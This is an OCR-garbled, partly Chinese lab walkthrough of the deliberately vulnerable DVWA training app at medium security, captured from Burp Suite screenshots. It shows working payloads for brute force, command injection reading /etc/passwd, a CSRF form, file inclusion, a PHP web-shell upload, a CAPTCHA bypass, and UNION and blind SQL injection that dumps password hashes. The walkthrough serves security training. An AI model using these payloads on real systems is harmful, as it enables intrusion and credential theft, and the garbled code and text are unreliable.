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Username: admin
Security Level: medium
PHPIDS: disabled

Brute Force

DVWA Security

Security Level

Security level is currently: medium.

You can set the security level to low, medium, high or impessible. The security level changes the vulnerability
level of DVWA:

1. Low - This security level is completely vulnerable and has no security measures at all. It's use is to be
as an example of how web application vulnerabilities manifest through bad ceding practices and to serve
as a platform to teach or learn basic exploitation techniques.

2. Medium - This setting is mainly to give an example to the user of bad security practices, where the
developer has tried but failed to secure an application. It also acts as a challenge to users to refina their
exploitation techniques.

3. High - This option is an extension to the medium difficulty, with a mixture of harder or alternative bad
practices to attempt to secure the code. The vulnerability may not allow the same extent of the
exploitation, similar in various Capture The Flags (CTFs) competitions.

4. Impossible - This level should be secure against all vulnerabilities. It is used to compare the vulnerable
source code to the secure source code.

Prior to DVWA v1.9, this level was known as "high'.

¥ || Submit

Medium

PHPIDS

v0 6 (PHP-Intrusion Detection System) is a security layer for PHP based web applications.

PHPIDS works by filtering any user supplied input against a blacklist of potentially malicious code. It is used in
DVWA to serve as a live example of how YWeb Application Firewalls (WAFs) can help improve security and in
some cases how WAFs can be circumvented.

You can enable PHPIDS across this site for the duration of your session.

PHPIDS is currently: disabled. | ]
[ 1-1 ]

BRI AR ELIEAT T mysqli_real_escape_string HIiTJE, HMTEEEN, REENT.
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2.

XSS (Reflected)

XSS (Stored)

CSP Bypass

JavaScript

[ Dashboard ITarget I Proxy Tlntmder T Repeater T Sequencer T Decoder T Comparer I Extender I Project options [ User options I Knife }

1= |3 = |

Target | Positions T Payloads TOptions ]

@ Payload Positions

3.

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to
positions - see help for full details.

Attack type: [Sniper

GET fvulnerabilities/brute/?username=admin&password=58admin§&Login=Login HTTP,/1.1

Host: 559f911d2aadde9b%adeec fdb7cOb19.app.mituanzone

Upgrade-Insecure-Requests: 1

DNT:1

User-Agent: Mozilla/S.0 (Windows NT 10.0; Wingd; x64) Apple'WebKit/537.36 (KHTML, like Gecko) Chrome/83.04103.67 Safari/537.36
Accept: text/htmlapplication/=html+=mlapplication/ml;g=0.9,image/webp,image/apng,*/,q=0.8,application/signed-exchangey=b3;q=0.%
Referer: httpy//559f911d2aadde9b9adeect fdb7cOb19.app.mituanzone/vulnerabilities/brute/

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: PHPSESSID =ivb38k95vncige8bve14pp56h3; security=medium

Connection: close|

[ Dashboard ITarget I Proxy Tlntruder T Repeater T Sequencer [ Decoder T Comparer I Extender I Project options T User options I Knife 1

1= |3 = |

[Target I Positions ~[F’ay..rh:)acls T Options ]

@ Payload Sets

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload type:
available for each payload set, and each payload type can be customized in different ways.

Payload set: [‘1 |v] Payload count: 6,000

Payload type: [Simple list |v] Request count: 6,000

@ Payload Options [Simple list]

4.

This payload type lets you configure a simple list of strings that are used as payloads.

Paste 2123456789 [a

11223344

Load .. | | 1gaz2wsx
— | | xiazhili >
Remove
password

Dashboard | Target
Attack Save Columns

T3 |- _[ Results T Target TPositions TPaonads ~{Cﬂ:ﬂ.ions ]

Target | Positions | P
B ;1‘ Filter: Showing all items

@ Payload Sets | Request | Payload |Status | Eror | Timeout | Length ¥ Comment




You can define ong| & password 200 [] [ ] 4709
available for each g| 0 200 O ] 4871
41 2123456789 200 O O 4671
Payload set l 2 11223344 200 O [] 4671
Payload type- @ 3 1gaz2wsx 200 O [] 4671
4 xiazhili 200 O O 4671
1/ 6 789456123 200 ] ] 4671
@ Payload Option 7 qwertyuiop 200 ) [] 4671
. 8 49999999 200 g L 4671
This payload type || g iloveyou 200 O [ 4671
l Paste J a12| | Request | Response }
I b
l ox J ‘1an Raw I Headers I Hex T HTML I Render 1
——— | %jaz Password:<br />
Remove pas <input type="password"” AUTOCOMPLETE="0ff" name="password"> <br />
S chr (s

KB payload Apassword it &, & Bl E 5 ARAE o
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Command Injection Source

vulnerabilities/exec/source/medium.php

<“php
if{ isszet{ $_POST[ ~Submit’ 1] oo
ftarget = $_REQUEST[ "ip° 1;
Ff Set blacklist
fzubstitutions = arravf
a7
Zy et

1

Ff BRemowve any of the charactars in the array (blacklist).
ftarget = =tr_replacel array keys( 3$substitution=z |, $substitutions, J$target )

|
|
‘ ff Get  input
} Ff Determine 05 and

execute the ping command.

if{ stristr{ php_uname! "= ), “Windows HWT® 1 1 |

F Windows
‘ fcmd = shell_execi{ “ping L $target )
1
‘ else 1
Fi #nix
‘ fcmd = shell_execi{ “ping -c 4 7 . ftarget
1

BIAN: 127.0.8.1 | cat /etc/passwd

Home |

Instructions |

Setup / Reset DB |

Brute Force
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File Upload
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Vulnerability: Command Injection

Ping a device
Entar an IP address: Submit

root:x: 0:0: root:froot: /bin/bash

daemon: x: 1: 1: daemon: fusr/sbin: fusr/sbin/nologin
bin:x:2:2:bin: /bin: Susr/sbindnologin

sya:x: 3: 3 gy=: fdev: fusr/sbin/nologin

svnc:®: 4: 66534 sync: /bin: fbind sync

games: x: b: G0 games: fusr, games: fusr/shin/nologin

man: x: 6: 12: man: fwar/cache/man: fusr/sbin/nologin

lp:=: 7:7: 1p: fwarfspool/1pd: fusr/sbin/molozin

mail:x: 8:8:mail: fvar/mail: fusr/sbin/nologin

news: x: 9: 9 news: Svar/spool/mews: fusr/shindnologin
wacp: ®: 10: 10 waep: fvar/ spool mucp: fusr/sbindnologin
proxy:x: 13: 13 proxy: fbin: fusr/sbin/mnologin

wuw—data: x: 33 33 we—data: SvarSwer fusrSsbind/mologin
backup:x: 34: 34 backup: fvar/backups: fusr/sbin/nolozin
liszt:x:38:38:Mailing List Manager: /wvar/list:/usr/sbin/nelogin

|
|
|
|
|
|
SQL Injection |
|
|
|
|
|
|
|

XSS (DOM) ireox: 3939 ired: fvar/run/ired: fusr/sbin/malogin
gnatz:x: 41 41:Gnatz Bug-Reporting System (admin):/war/lib/gnats: fusr/sbin/nologin
X5S (Reflected) nobody: ®: 5534 AEA34: nobody: fnonexistent: fusr/sbin/nologin
_apt:x: 100: 65534: : fnonexiztent: fbin/falze
XSS (Stored) myzql:x: 101: 101: My3QL Server..,.:/nonexistent:/bin/false
CSP Bypass
JavaScript .
More Information
DVWA Security | .
PHP Info | .
About | .

CSRF




W& stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' 1), iXEBEBtEssckis Rhik
refereril, {HR2SEPrs B AREIEZHE B ORSEE, M HEE TGS R IAENiErefererft) (A lashe] Ayig, it
BEA LRWRE) 5 BT A refererBiil i) 5 28 & AT AR K2 LB fICSRF.

ALK ECSRF Pock) 7 EHH K IA T, RRLEV) 82 F WH W%, INEBH T referer.

<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://559f911d2aad4e9b9adeeclfdb7cObl9.app.mituan.zone/vulnerabilities/csrf/">
<input type="hidden" name="password&#95;new" value="admin123" />
<input type="hidden" name="password&#95;conf" value="admin123" />
<input type="hidden" name="Change" value="Change" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

& A == | cms.com
== R | | B Burp Suite Professional 2.1 - Tempaorary Project - licensed to 666

| Submit request | Burp Project Intruder Repeater Window Help

[ Dashboard T Target I Proxy I Intruder T Repeater I Sequencer T Decoder I Compan

J Intercept I HTTP history T WebSockets history I Options ]

/ Request to http://559f911d2aad4e9b9adeec1fdb7c0bl19.app.mituan.zone:80 [54.222

[ Forward J [ Drop J [ Intercept is on 1 Action

J RawI Params I Headers T Hex }

GET fwulnerabilities/csrf/?password_new=admin123 &password_conf=admin123&Ch
Host: 559f911d2aad4e9b9adeect fdb7cOb19.app.mituanzaone
Upgrade-Insecure-Requests: 1
DNT: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64) Apple'WebKit/537.36 (KHTN
Accept: text/html,application/<html+x=ml,application/=ml;q=0.9,image/webp,image/:
Referer: http://cms.com/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CM,zh;q=0.9
Cookie: PHPSESSID =ivb38k95vncige8eve14pps6h3: security =medium

I Referer: http://559f911d2aad4e9b9adeec] fdb7cOb19.app.mituanzone/ I

/ Lonnection: close

B AU R 6 44 4559f911d2aad4e9b9adeectfdb7cOb19.app.mituan.zone.htmigh AT LLEE T, {HRA NBH B .

File Inclusion



File Inclusion Source

vulnerabilities/fi/lsource/medium.php

<“php

Htile

$file =
file

T

$_GET[ “page’ 1.

str_replace( arrayl( “http://", “https ST 0, Y7, $ile )

str_replace( array(

AUV A} oot Hile )

http AT PSR BUK /NG 80 S (175 AT S8, 85 B AR M SO & AN 2R

® page=/etc/passwd

® page=hTTp://www.baidu.com

® page=hthttp://tp://www.baidu.com

1.

linz/usr/shbin/nologin sysx:3:3:sys:/dev fusr/sbin/nologin syncx: 4:65534: sync:bin/binfsync games:x:5:60.games:/usrigames /usr/sbin/mologin man:x:G:12:man:fvaricache/msa

ucpx:10:10-uucp:varispool/uucpfusrisbin/nologin proxy:x:13:13:proxy-/binfusrisbin/nologin www-datax:

33:33www-data:ivarfwww/usrsbin/nologin backup::34:34:backuy

nin)-fvarflib/gnats:/usrsbin/nologin nobody:x-65534:65534:nobody-/nonexistent/usr/sbin/nologin _aptx:100:65534: /nonexistent/binffalse mysglx:101:101:MySQL Server,
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File Upload

BEEEERBEKRRKE TRULLERAD, HFEENERIITRE, Bl EEEA 5%,

if{ isset( $_POSTL
Fi Where are we
ftarset_path =

TUpload™ 1 3 3 1
going to be
DVWA_WEE_PAGE_TO_ROOT

writing

to?
“hackable/uploads/" ;

FHG

ftarget_path .= baszename!{ $_FILES[ “uploaded” 1[ “name” 1 J;
Ff File information
fuploaded_name = $_FILES[ “uploaded” 1[ “name” ]
fuploaded type = $_FILES[ “uploaded” 1[ “type” ]
fuploaded_size = $_FILES[ “uploaded” 1[ “=ize’” ]
ST 14 o qmooa
if i $uploaded_type == “image/jpez” || $uploaded_type == “imageSpnz” ) bk
{ $uploaded size < 100000 ) )
A Can we mowe the file to the upload folder?
if{ !'move_uploaded filel{ $ _FILES[ “uploaded” ][ “tmp_name” ], $target_path
£ Ho
echo *<prerTour image was not uploaded. </ pre>”;
1
elze 1
Ff Tea!
echo  “<pre’{}target_path! succeszfully uploaded!</pre:”;
1
1
else |
FF Invalid file
echo T <prexVour image was not uploaded. We can only  accept JPEG or
<fprer’
1

1

o

images.

BRI AT IR, REBECUEE (R R B NTphp, 13 EAL KIpHP R TEMHTHD

/ Request to http://559f911d2aad4e9b9adeec1fdb7c0b19.app.mituan.zone:80 [54.222.208.118]

l Forward J l Drop

j Raw T Params I Headers T Hex 1

J | Intercept is on Action

POST fwulnerabilities/upload/ HTTR/1.1
Host: 559f911d2aadde9b9adeec fdb7c0b19.app.mituanzone

Content-Length: 723
Cache-Control: max-age=0

Origin: http://559f911d2aadde9b9adeec] fdb7cOb19.app.mituanzone

Upgrade-Insecure-Requests: 1
DNT: 1

Content-Type: multipart/form-data; boundary =----\WebKitFormB oundaryOF sv\WUYQK1bWaJLB



User-Agent: Mozilla/5.0 (Windows NT 10.0; 'Winé4; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.04103.61 Safari/537.36
Accept: text/html application/<html+xml,application/xml;q=0.9,image/Wwebp,image/apng,*/*,q=0.8,application,/signed-exchange;v=b3;9=0.9
Referer: http://559f911d2aad4e9b9adeect fdb7c0b19.app.mituan zone/vulnerabilities/upload/

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: PHPSESSID =ivb38k95vncigcBbvel1dppSeb3; security =medium

Connection: close

—————— WebKitFormB oundaryOFsviNUY QKT bWaqLB
Content-Disposition: form-data; name ="MAX_FILE_SIZE"

100000

------ WebHKitFormBoundaryOF s NUYQKTb'WqlLB
Content-Disposition: form-data; name = "uploaded"ffilename="shell.php"
Fontent—Type: image/jpeg I

OO00dO0JFIFOO000 0 00000CO00000000000000000000000000000000000 d oo

ooo

oooooo OO000000000CO0000000000000000000000000000000000000000000000000000000000000000000000
]

i la] bAE SO S bk :  http://559f911d2aad4e9b9adeecifdb7cObl9. app.mituan.zone/hackable/uploads/shell.php?
8=phpinfo(); -

= =p & A Fz==| 559f011d2aad4e9dbIadeec]fdb7cObi9.app.mituan.zone/hackable/uploads/shell.php?8=phpinfo(); - W ...._.L !‘E‘, &
»©©@0FIFOO0 @@ C10000000000000000000000000000000000 000 000 00000000 000000
»€CO00000000000000000000000000000000000000000000000000000000000000004p4¢00
II"DOOOOOCeellllee llee [l lC @@l lILII 79l /¢

Php

System Linux e0Bc299200b5 4.15.0-1063-aws #67-Ubuntu SMP Mon Mar 2 07:24:29 UTC 2020 x86_64
Build Date Jun 14 2018 13:50:25

Server API Apache 2.0 Handler

Virtual Directory Support disabled

Configuration File (php.ini) Path Jetc/php/T.0fapache2

Loaded Configuration File Jetc/php/T.0fapache2/php.ini

Scan this dir for additional .ini files Jetc/php/T.0fapache2/conf.d

Additional .ini files parsed Jetc/php/7T.0fapache2/conf.d/10-mysglnd.ini, fetc/php/7.0/apache2/conf.d/10-opcache.ini,

Jetc/php/7T.0fapache2/conf.d/10-pdo.ini, fetc/php/7.0/apache2/conf.d/15-xmlini,
Jetc/php/7.0fapache2/conf.d/20-calendar.ini, Jetc/php/7.0/apache2/conf.df20-ctype.ini,
Jetc/php/7T.0fapache2/conf.d/20-dom.ini, fetc/php/7.0/apache2/conf.d/20-exif.ini,
Jetc/php/7.0fapache2/conf.d/20-fileinfa.ini, fetc/php/7.0/apache2/conf.d/20-ftp.ini,
Jetc/php/T.0fapache2/conf.d/20-gd.ini, fetc/php,/7.0/apache2/conf.d/20-gettext.ini,
Jetc/php/T.0fapache2/conf.d/20-iconw.ini, fetc/php,/7.0f/apache2/conf.d/20-json.ini,
Jetc/php/T.0fapache2/conf.d/20-mysgli.ini, fetc/php/7.0/apache2/conf.d/20-pdo_mysalini,
Jetc/php/T.0fapache2/conf.d/20-pde_pgsqgl.ini, fetc/php/7.0/apache2/conf.d/20-pgsqgl.ini,

Insecure CAPTCHA



POSTS 4 THKSSZE.

if( isset( $_POSI[ Chanze’ ] ) && ( $_POSTf ’step” J| == "2 ) ) |
ff HldB ‘tl" =] B I DM
fhide form = +true;

Ff Get  input
fpazs_new = $_P0i%
fpaszs_conf = §$_PO3 TazZsword Cor

A Check to_gzee f thew did =tase 1
if{ 1$_FOST[ “passed captcha” 1) )

$fhtml .= Cdpresibr  S»V¥ou hawe not passed the CAPTCHA. </ pre>”;
thide_form = false;
return;

H

ff Check to =ee if both password match

if{ $pass_new == fpass conf |
Ff They da!
fpaszs_new = ((izzet (JGLOBALS[Y _ mysqli_ston®]) && i1s_object ($GLOBALS["_ _ my=qli_ston™]))
[MySGlConverterToo] Fix the mysql_escape_string() call! Thiz code doez not work.”, E_USER_EEROR))
fpass new = mdS( %pass_new )

FF TUpdate database
finsert = “UPDATE “userz SET password = " $pasz new’ VWHEEE user = °% . dwwaCurren
fresult = mysqli_query (PGLOBALS["___my=gli_ston”], finsert ) or diel “<prer’ . (li:
f# Feedback for the end user
gcho  “<pre:Password Changed. </pre>”;
1
else |
FF Iszsue with the passwords matching
echo  “<pre:Passwords did not match. Sfprex”;
thide_form = false;

step=2&Change=Change&password_new=adminl123456&password_conf=adminl123456&passed_captcha=true

| L 1 1 1

/ Request to http://559f911d2aad4e9bYadeec1fdb7c0b19 app.mituan.zone:80 [54.222 208.118]

l Forward J l Drop J [ Intercept is on ] Action

J Raw T Params T Headers T Hex ]

POST fwulnerabilities/captcha/ HTTP/1.1
Host: w‘l dZ2aad4e9b9adeec fdb7cOb19.app.mituanzone
Cache-Conol: max-age=0

DNT:1

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; 'Wing4; x64) Apple'VebKit/537.36 (KHTML, like Gecko) Chrome,/83.0.4103.61 Safari/537.36
Accept: text/htmlapplication/=html+xml,application/=ml;q=0.9,image/webp,image/apng,*/*q=0.8,application/signed-exchange;v=b3;0=09
Accept-Encoding: gzip, deflate

Accept-Language: zh-CN zh;q=0.9

Cookie: PHPSESSID =ivb3 8k95vncigc86ve14pp56b3; security=medium

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 0

step=28Change=Change&password new=admin1234568&password conf=admin123456&passed captcha=true

BEFERRAUFLOLBECN adnin123456 T .

SQL Injection

SQL Injection Source

vulnerabilities/sgli/source/medium.php

<?php



if( isset( $_POST[ “Submit™ 1 ) 3 |
Ff Get  input
$id = $_POST[ "4id° 1

$id = |mysqli_real_escape_string ($GLOBALS["__ mysqli_ston®], $id):

fquery = "SELECT first_mame, last name FROM users WHEEE user id = $id;";
fresult = mysqli_gquery (JCLOBALS["_ _ _mysqli_ston”], $query) or diel “<pre>” . mysqli_error
Ff Get results
while{ $row = mysqli_fetch assocl{ $result )} ) |
FF Display walues
$first = Jrow["first_name”];
$lazt = f$row["last_name"];

§f# Feedback for end user
echo  “<prexID:  {§id}<br  /3First name:  {$first]<br  SrSurname: {$last] <fpre”;

I id=1'"&Submit=Submit , KILHEAT T iLuE, FBHLHH163H R H BRG] S.

1.

Original request | Edited request T Response ]

J Raw I Params I Headers T Hex }

POST fvulnerabilities/sqlif HTTP/1.1

Host: 559f911d2aad4e9b9adeec fdb7cOb19.app.mituanzone

Content-Length: 20

Cache-Control: max-age=0

Origin: httpy//S59f911d2aadde9b9adeect fdb7cOb19.app.mituanzone

Upgrade-Insecure-Requests: 1

DNT: 1

Content-Type: application/s-vwww-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; «64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.3
Accept: text/htmlapplication/=html+=xml,application/«ml;q=0.9,image/webp,image/apng,*/*:q=0.8,application/signed-exchange;v=b3:
Referer: http://559f911d2aad4e9b%adeec fdb7 cOb19.app.mituanzonefvulnerabilitiessqli/

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;g=0.9

Cookie: PHPSESSID =ivb38k95vncige8bve14pp56h3; security=medium

Connection: close

id=1"&Submit=5ubmit

2.

[ Original request I Edited request TResponse ]

J Raw I Headers T Hex TXML T Render }

HTTP/1.1 200 OK

Server: openresty/1.17.8.2

Date: Thu, 07 Jan 2021 11:11:25 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 163

Connection: close

Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache

Wary: Accept-Encoding

<pre>You have an error in your SQL syntax: check the manual that corresponds to your MariaDB server version for the right
1</pre=



HIWrEAN L id=1 and 1=1&Submit=Submit
HIWr 7B %: id=1 order by 2&Submit=Submit

H|WrZE4%: id=1.1 union all select 1,group_concat(table _name) from information_schema.tables where

table_schema=database()&Submit=Submit

HIWrF B4 : id=1.1 union all select 1,group_concat(column_name) from information_schema.columns where
table_schema=database() and table name=0x7573657273&Submit=Submit T4 & #1635 2% M
¥l http:/ftool.leavesongs.com/

BHHEHE: id=1.1 union all select 1,group_concat(concat_ws(@x3a,user,password)) from users&Submit=Submit ,

ARG HEATMD SR B AT Ao

1.
Go Cancel < | > Target: http://559f911d2aad4e9b9adeec1fdbicOb19.app.mituan.zone / ®
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTWL I Render ]
POST fvulnerabilities/sqgli/ HTTP,/1.1 A A
Host: 559f911d2aadde9b9adeec fdb7c0b19.app mituanzone 1 1
Content-Length: 26
Cache-Control: max-age=0 <div class="vulnerable_code_area">
Origin: httpy//559f911d2aadde9b9adeec fdb7cOb19.app.mituanzone <form action="#" method="POST">
Upgrade-Insecure-Requests: 1 <p>
DNT: 1 User ID:
Content-Type: application/%-vwww-form-urlencoded <select name="id"><option
User-Agent: Mozilla/5.0 (Windows NT 10.0; \Wing4; x64) Apple'WebKit/537.36 value="1">1</option> <option value="2">2</option=><option
(KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36 value="3">3</option> <option value="4">4</option><option
Accept: value="5">5</option> </select>
text/html application/=htrl+xml,application/«mlg=0.9,image/webp,image/apng,* <input type="submit" name="Submit"
/#:q=0.8,application/signed-exchange;y=b3;9=0.9 value ="Submit" >
Referer: </p=
http://559f911d2aad4e9b9adeecfdb7c0b19.app.mituanzonevulnerabilities/sqli
/ < /form=
Accept-Encoding: gzip, deflate <pre>ID: 1 and 1=1<br />First name: admin<br />Surname:
Accept-Language: zh-CN,zh;q=0.9 admin</pre>
Cookie: PHPSESSID=ivb38k95vncige86ve14pp56b3; security=medium </div>
Connection: close I
<h2>More Information</h2 >
id=1 and 1=1&Submit=Submit <ul>
<li><a
href="http://vwnwsecuriteam.com/securityreviews/SOPON1P7&E.html"
target="_blank">http://mwww.cccuritecam.com/securityreviews/5DPON1P7 6E.
2.
Go Cancel < |v > | Target: http://559f911d2aad4e9b%adeecifdbic0b19.app.mituan.zone / @
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML I Render ]
POST fvulnerabilities/sqli/ HTTF/1.1 A <div class="body _padded"> A
Host: 559f911d2aadde9bYadeec fdb7cOb19.app.mituanzone 1 <h1>Vulnerability: SQL Injection</h1> r
Content-Length: 29
Cache-Control: max-age=0
Origin: http://559f911d2aadde9b9adeect fdb7cOb19.app.mituanzone
Upgrade-Insecure-Requests: 1 <div class="vulnerable_code_area">
DNT: 1 <form action="#" method="POST">
Content-Type: application/x-www-form-urlencoded <p>
User-Agent: Mozilla/5.0 (Windows NT 10.0; \Wint4; x64) Apple'WebKit/537.36 User ID:
(KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36 <select name="id"><option
Accept: value="1">1</option=> <option value="2">2</option><option
text/htmlapplication/«html+xml,application/«ml;q=0.9,image/webp,image/apng,* value="3">3</option> <option value="4">4</option><option
/#q=0.8,application/signed-exchangev=b3,9=0.9 value="5">5</option> </select>
Referer: <input type="submit" name="Submit"
http://559f911d2aad4e9bSadeect fdb7cOb 9.app.ml'tuan.zone,’vulnerabﬂﬁ:ies;‘sqh’ value="Submit">
/ </p>
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=09 < /form>
Cookie: PHPSESSID=ivb38k95vncige8ove14pp56b3; security=medium <pre>ID: 1 order by 2<br />First name; admin<br />Surname: ™
Connection: close admin</pre>
</div>
id=1 order by 2&Submit=Submit
<h2>More Information</hZ >
<ul>
<li><a



http://tool.leavesongs.com/

R A - RO SR S T P Sy T L

3.
Go Cancel <|v > | Target: http://559f911d2aad4e9b9adeecifdbicOb19.app.mi zone / ®
Request Response

Raw | Params | Headers | Hex

Raw | Headers | Hex HTMLTRender]

Host: 559f911d2aad4e9b9adeec fdb7cOb19.app.mituanzone

Content-Length: 94

Cache-Control: max-age=0

Origin: http://559f911d2aaddeSb9adeec fdb7cOb19.app.mituanzone
Upgrade-Insecure-Requests: 1

DNT: 1

Content-Type: application/x-vwwww-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; \Wing4; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36

Accept:
text/htmlapplication/=html+xml,application/«ml:q=0.9,image/webp,image/apng,*®
J/%q=0.8,application/signed-exchange;v=b3;q=0.9

Referer:

http:/ /559911 d2aad4e8b9adeecTfdb7c0b19.app.mituanzonevulnerabilities/sqli
/

POST fvulnerabilities/sqli/ HTTP/1.1 A A
Host: 559f911d2aad4e9b9adeec fdb7cOb19.app.mituanzone E R
Content-Length: 125
Cache-Control: max-age=0 <div class="vulnerable_code_area">
Origin: httpy//559f311d2aadde8b9adeect fdb7c0b19.app.mituanzone <form action="#" method="POST">
Upgrade-Insecure-Requests: 1 <p>
DNT: 1 User ID:
Content-Type: application,/s-www-form-urlencoded <select name="id" > <option
User-Agent: Mozilla/5.0 (Nindows NT 10.0; Wine4; x64) Apple'WebKit/537.36 value="1">1</option> <option value="2">2</option><option
(KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36 value="3">3</option> <option value="4">4</option><option
Accept: value="5">5</option> </select>
text/html,application/«html+xml,application/«ml:q=0.9,image/webp,image/apng,* <input type="submit" name="Submit"
/*q=0.8,application/signed-exchange;v=b3;9=0.9 value="Submit" >
Referer: </p=
http://559f911d2aad4edb9adeec1fdb7c0b19.app.mituanzonefvulnerabilities/sqli
/ < /forme
Accept-Encoding: gzip, deflate <pre>ID: 1.1 union all select 1,group _concat(table name) from
Accept-Language: zh-CN,zh;q=0.9 information_cchema.tables where table_cchema=databace() <br />First
Cookie: PHPSESSID=ivb3Bk95vncige8eve14pp56bh3; security=medium name: 1<br />Surname: guestbook,users</pre> ~
Connection: close </div>
id="1.1 union all select 1,group_concat(table_name) from <hz2>More Information</h2>
information_schema.tables where tableischema:databaseO&Subm\'t:Subm¢ <ul>
<liz<a
href="http://vwnwsecuriteam.com/securityreviews/SOPON1F76E.html"
e M Ll M M oLl ML o fel o ilta e EARARIANTAE J
4.
Go Cancel < |v > Target: http://559f911d2aad4e9b9adeecifdbicOb19.app.mituan.zone / @
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML I Render ]
POST fvulnerabilities/sqli/ HTTP/1.1 A A
Host: 559f911d2aadde9b9adeec] fdb7cOb19.app.mituanzone E R
Content-Length: 155
Cache-Control: max-age=0 <div class="vulnerable_code_area">
Origin: http://559f911d2aad4e9bYadeec fdb7cOb19.app.mituanzone <form action="#" method="POST">
Upgrade-Insecure-Requests: 1 <p>
DNT: 1 Ucer 1D:
Content-Type: application/x-www-form-urlencoded <select name="id"> <option
User-Agent: Mozilla/5.0 (Windows NT 10.0; Winb4; x64) AppleWebKit/537.36 value="1">1</option> <option value="2">2</option><option
(KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36 value="3">3</option> <option value="4">4</option > <option
Accept: value="5">5</option> < /selzct>
text/html,application/<html+xml,application/«ml:q=0.9,image/webp,image/apng,* <input type="submit" name="Submit"
/*q=0.8,application/signed-exchange;v=b3;9=0.9 value="Submit" >
Referer: </p=
http://559f911d2aad4e9b9adeec1fdb7c0b19.app.mituanzone vulnerabilities /sqli
! </form=
Accept-Encoding: gzip, deflate <pre>ID: 1.1 union all select 1,group_concat(column_name)
Accept-Language: zh-CN,zh:q=0.9 from information_schema.columns where table_schema=database() and
Cookie: PHPSESSID =ivb38k95vncigeBove 14pp56h3; security=rmedium table name=0x7573657273 <br />First name: 1<br />Surname: ~
Connection: close ucer_id, first_name, last_ name,ucer, password,avatar last_login, failed_login<
fpre>
id=1.1 union all select 1,group_concat(column_name) from </div>
information_schema.columns where table_schema=database() and
table_name:0x?5?365?2?3&Subml’t:Subm\'d <hZ>More Information</h2 >
<ul>
ST 0%
5.
Go Cancel < |v > Target: http://559f911d2aad4e9b%adeecifdbic0b19.app.mituan.zone / @
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML I Render ]
POST fvulnerabilities/sqlif HTTP,/1.1 : :

<div class="vulnerable code area">
<form action="#" method="POST">
<p>
Ucer 1D:
<select name="id"> <option
value="1">1</option> <option value="2">2</option=><option
value="3">3</option=> <option value="4">4</option=><option
value="5">5</option> </select>
<input type="submit" name="Submit"
value="Submit" >
</p=

</form=



Accept-Encoding: gzip, deflate <pre>ID: 1.1 union all celect
Accept-Language: zh-CN,zh;g=0.9 1.group_concat(concat_ws({0x3a,user, password)) from users<br />First
Cookie: PHPSESSID=ivb38k95vncige8bve14pp56b3; security=medium name: 1<br />Surname:
Connection: close admin:a66abb5684c45962d887564f08346c8d,gordonb:e99a18c428cb38d5

f260853678922¢c03,1337:8d3533d75ac2c3966d7 e0d4fcc69216b,pablo:0d10
id=1.1 union all select 1,group_concat(concat_ws(0x3a,user,password)) from 7d09f5bbe40cade3de5cT1¢9e9b7, smithy:5f4dcc3b5aa765d61d8327dch 88
users&Submit=Submit 2cf99< /pre>

</div>

SQL Injection (Blind)

o HIWiEANA: id=1 and 1=1&Submit=Submit

o FWiZE—/NFKE: id=1 and length((select table_name from information_schema.tables where
table_schema=database() limit 1,1))=5&Submit=Submit

o HWiE—NFEE —NFHE: id=1 and ascii(substr((select table name from information_schema.tables where

table_schema=database() limit 1,1),1,1))=117&Submit=Submit

o FTHSHRFHIN, AHA K TR ZEH16HEH]

1.

Go Cancel < | > Target: http://559f911d2aad4e9b9adeecifdbicOb19.app.mituan.zone / ®

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML I Render ]
POST fvulnerabilities/sqli_blind/ HTTP/1.1 A A
Host: 559f911d2aad4e9b9adeec fdb7cOb19.app.mituanzone 1 <div class="body_padded"> F
Content-Length: 18 <h1>Vulnerability: SQL Injection (Blind)</h1>
Cache-Control: max-age=0
Origin: httpy//559f311d2aadde8b9adeect fdb7c0b19.app.mituanzone
Upgrade-Insecure-Requests: 1
DNT: 1 <div class="vulnerable_code_area">
Content-Type: application/x-www-form-urlencoded <form action="#" method="POST">
User-Agent: Mozilla/5.0 (Nindows NT 10.0; Wine4; x64) Apple'WebKit/537.36 <p>
(KHTML, like Gecko) Chrome/83.0.4103.671 Safari/537.36 User ID:
Accept: <select name="id"><option
text/html,application/«html+xml,application/«ml:q=0.9,image/webp,image/apng,* value="1">1</option> <option value="2">2</option><option
/*q=0.8,application/signed-exchange;v=b3;9=0.9 value="3">3</option> <option value="4">4</option><option
Referer: value="5">5</option> </select>
http://559f911d2aad4e9b9adeec1fdb7c0b19.app.mituanzonevulnerabilities/sqli <input type="submit" name="Submit"
_blind/ value="Submit" >
Accept-Encoding: gzip, deflate </p=>
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=ivb3Bk95vncige8eve14pp56bh3; security=medium <fform= B
Connection: close <pre>Ucer ID existe in the databace. </pre>
</div>
